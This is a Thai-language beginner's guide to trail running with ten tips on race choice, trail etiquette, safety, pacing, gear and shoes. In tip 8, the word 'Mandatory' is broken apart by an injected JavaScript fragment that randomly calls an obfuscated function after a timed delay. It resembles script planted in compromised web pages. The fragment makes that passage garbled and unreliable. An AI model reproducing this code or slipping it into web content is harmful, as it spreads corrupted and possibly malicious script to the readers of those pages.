เป็นสัญญาที่รู้กัน เมื่อใกล้หน้าฝนเข้ามา ฤดูการแข่งขันวิ่งเทรลก็จะเริ่มเปิดทำการ สำหรับนักวิ่งถนนทางเรียบ (Road Running) ที่ตัดสินใจเข้าสู่วงการวิ่งทางวิบากหรือวิ่งเทรล (Trail Running) เรามี 10 วิธีการเตรียมตัวและการเอาตัวรอดในสนามแข่งขันเทรลมาฝากกัน
10 เทคนิคเอาตัวรอดแบบง่ายๆ สำหรับมือใหม่หัดวิ่งเทรล
1. เลือกสนามเปิดตัวให้ดี สำหรับนักวิ่งเทรลมือใหม่ กรุณาเลือกงานวิ่งเทรลที่มีระดับความยากต่ำสุดไว้ก่อน เพราะสนามวิ่งเทรลในแต่ละที่จะมีความยากลำบากต่างกัน เป็นเอกลักษณ์ของสนาม ไม่เป็นทางเรียบตลอดเหมือนวิ่งถนนในเมือง ทางวิ่งเทรลจะมีทั้งทางลูกรัง ทางวิ่งไต่เขา ทางวิ่งลงน้ำหรือจะวิ่งฝ่าเข้าไปในดงไผ่ก็มี
นักวิ่งสามารถติดต่อสอบถามผู้จัดทางเพจได้ก่อนเพื่อขอข้อมูล หรือบางสนามอย่าง เขาประทับช้างเทรลก็มีการบอกกล่าวว่า เป็น “เทรลอนุบาล” นั้นคือสนามไม่ได้ออกแบบมาให้ยาก ให้ทุกคนสามารถเข้าถึงได้ง่าย หรือเราสามารถฟังเสียงจากกลุ่มนักวิ่งที่พูดถึงสนามแข่งก็ได้ หรือง่ายสุดก็สามารถสังเกตกราฟแสดงความชันของทางแข่งขัน สนามที่ไม่ยากเกินไป ความชันจะมีน้อย จะเหมาะสำหรับมือใหม่
2. เป็นการวิ่งที่มีความรับผิดชอบมากขึ้น เพราะป่าก็เหมือนบ้านหลังหนึ่ง จะเข้าจะออกกรุณาทำตัวให้มีมารยาทและเคารพเจ้าของสถานที่ด้วย นั้นคือ จงเก็บขยะไว้กับตัวเองและทิ้ง ณ จุดที่จัดเตรียมไว้ให้เท่านั้น มันไม่มีใครจะวิ่งไปตามเส้นทางเพื่อเก็บขยะให้เราย้อนหลังนะครับ
3. วิ่งบนเส้นทางที่ได้เตรียมไว้ให้ การวิ่งออกนอกเส้นทางจะเป็นการทำลายธรรมชาติอย่างไว้รู้ตัว เพราะป่าค่อนข้างมีระบบนิเวศที่อ่อนไหว มีทั้งขนาดใหญ่และเล็กจนเรามองไม่เห็นซ่อนตัวไว้อยู่ การวิ่งนอกเหนือเส้นทางจะเหยียบย้ำระบบนิเวศขนาดเล็กๆ ที่คุณมองไม่เห็นได้เช่นกัน
4. ปลอดภัยไว้ก่อน นอกจากการวิ่งบนเส้นทางที่เตรียมไว้ให้ จะช่วยป้องกันระบบนิเวศแล้ว มันยังช่วยป้องกันคุณจากอันตรายอื่นๆ ด้วย อย่างเช่น อันตรายจากสัตว์มีพิษ หรือสัตว์น้อยใหญ่ที่อยู่นอกเส้นทาง และช่วยป้องกันคุณหลงทาง
5. ต้องติดต่อสื่อสารได้ตลอดเวลา นั้นคือ กรุณาติดโทรศัพท์มือถือไว้ตลอดเวลา และติด PowerBank ไว้ด้วย อาจจะมีการโหลดแผนที่สนามเก็บไว้หรือเก็บไว้ในนาฬิกาวิ่งก็ได้ ในกรณีเหตุฉุกเฉินจะสามารถติดต่อได้ทันท่วงที
6. สังเกตทางวิ่งให้ดี มีสมาธิจดจอกับเส้นทางวิ่งเสมอ เพราะช่วงเวลาที่สมาธิหลุด เรามักจะเกิดอุบัติเหตุเสมอ ด้วยเหตุที่สภาพพื้นผิวไม่มั่นคง มีทางต่างระดับ มีหินกรวย มีหญ้าเศษกิ่งไม้ ทางขึ้นลงเป็นระยะ นักวิ่งต้องมองเส้นทางวิ่งล่วงหน้าและจินตนาการเส้นทางวิ่งตัวเองไว้เสมอว่าจะไปในทางไหน ลงเท้าแล้วพื้นมั่นคงไหม จะวิ่งเร็วหรือเบา หรือต้องเดินก็ต้องมีสมาธิประเมินสถานการณ์ทุกๆ วินาทีเสมอ
7. วิ่งให้ช้าลงซอยเท้าให้มากขึ้น เพราะการวิ่งเทรลจะใช้พลังงานมากกว่าการวิ่งทางเรียบ โดยเฉพาะจังหวะที่ต้องขึ้นเขาหรือข้ามสิ่งกีดขวาง ซึ่งทำให้ pace ขอเราช้าลง
จงให้ความรู้สึกแทนที่จะใช้ความเร็ว แม้ออกแรงวิ่งเท่ากับทางเรียบแต่ความเร็วจะต่ำกว่าก็เป็นเรื่องปกติ โฟกัสที่ความรู้สึกให้ออกแรง เท่ากับทางเรียบแล้วประคองไปเรื่อยๆ หากเหนื่อยก็ลดความเร็ว ซอยเท้าระยะสั้นๆ เพื่อเก็บพลังงานไว้
นอกจากนี้เราควรให้ความสำคัญกับเวลามากกว่าระยะทาง อย่าถามว่าวิ่งไปกี่กิโลเมตรแล้ว จงสังเกตเวลาที่ใช้ไปแทน การวิ่งเทรลต้องปรับเปลี่ยน Mindset พอสมควร เพราะระยะทางเทรล 10K จะวิ่งจบเร็วเหมือนทางเรียบ 10K ไม่ได้ ให้เราใช้เวลาเป็นตัวชี้กำหนด ทั้งในเรื่อการเติมพลังงาน การดื่มน้ำและเวลา cut-off
8. เลือกอุปกรณ์ให้เข้ากับสนามแข่งขัน สามารถดูได้จาก Mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatory gear list หรืออุปกรณ์บังคับที่ทางผู้จัดระบุมา อาจจะมี ไฟฟฉาย เป้น้ำ ชุดยาขนาดเล็กและอาหารพกพา โดยแต่ละระยะแข่งขันจะมีอุปกรณ์บังคับไม่เท่ากัน อุปกรณ์ที่สำคัญสามารถใช้งานได้ตลาดคือ เป้น้ำ แนะนำว่าขนาดหนึ่งลิตรขึ้นไป
9. เลือกใช้รองเท้าวิ่งเทรลเท่านั้น แต่ในระยะแข่งขันวิ่งเทรล 10K บางพื้นที่ยังสามารถใช้รองเท้าวิ่งทางเรียบได้ แต่ดีที่สุดคือรองเท้าวิ่งเทรล เพราะจะสามารถยึดเกาะพื้นผิวได้ดี ลงเท้าอย่างมั่นใจและมีโครงสร้างที่แข็งแรง ช่วยป้องกันเศษไม้เศษหินทิ่มแทงได้
10. สำหรับมือใหม่ การวิ่งเทรลควรเกาะกลุ่มกันไป หรือถ้ามีทีมวิ่งอยู่แล้วก็จะยิ่งดี จะได้ช่วยเหลือซึ่งกันระหว่างทาง กรณีที่เกิดอาการบาดเจ็บให้หยุด ทำการปฐมพยาบาล ถ้าวิ่งต่อได้ให้เช็คสภาพอีกทีที่ checkpoint หรือโทรเรียกหน่อยพยาบาลหรือสามารถรอหน่วย sweeper ที่ออกวิ่งรั้นท้ายมาช่วยเราก็ได้
ก่อนจากกัน สำหรับการวิ่งเทรลของมือใหม่ จงมีความอดทน อย่าใจร้อนรีบเร่งทำเวลา เพราะจะทำให้พลังงานคุณหมดได้ก่อนถึงเส้นชัย จงให้ความสำคัญกับการออกแรงมากกว่าความเร็ว ประคองการออกแรงให้คงที่ และอย่าลืมดื่มน้ำและ refuel กลับเป็นระยะๆ คุณจะใช้เวลาวิ่งเทรลมากกว่าหนึ่งชั่วโมงแน่นอน
